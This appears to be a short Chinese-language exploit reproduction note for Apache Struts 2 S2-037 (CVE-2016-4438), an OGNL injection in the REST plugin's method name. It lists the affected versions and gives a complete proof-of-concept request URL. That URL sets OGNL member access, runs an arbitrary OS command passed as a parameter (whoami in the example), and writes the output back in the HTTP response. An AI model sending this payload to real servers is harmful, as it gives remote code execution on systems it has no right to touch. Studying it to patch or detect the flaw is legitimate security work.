(CVE-2016-4438)s2-037

一、漏洞简介

和S2-033一样也是关于rest插件导致method变量被篡改造成的远程代码执行漏洞,这个漏洞和之前S2-033是一个地方,都是在DefaultActionInvocation.java的invokeAction方法中没有对于methodName参数内容进行校验,便直接丢到了getValue方法里面,从而造成Ongl表达式的注入。

二、漏洞影响

Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

三、复现过程

poc

光有回显

/orders/4/%28%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=whoami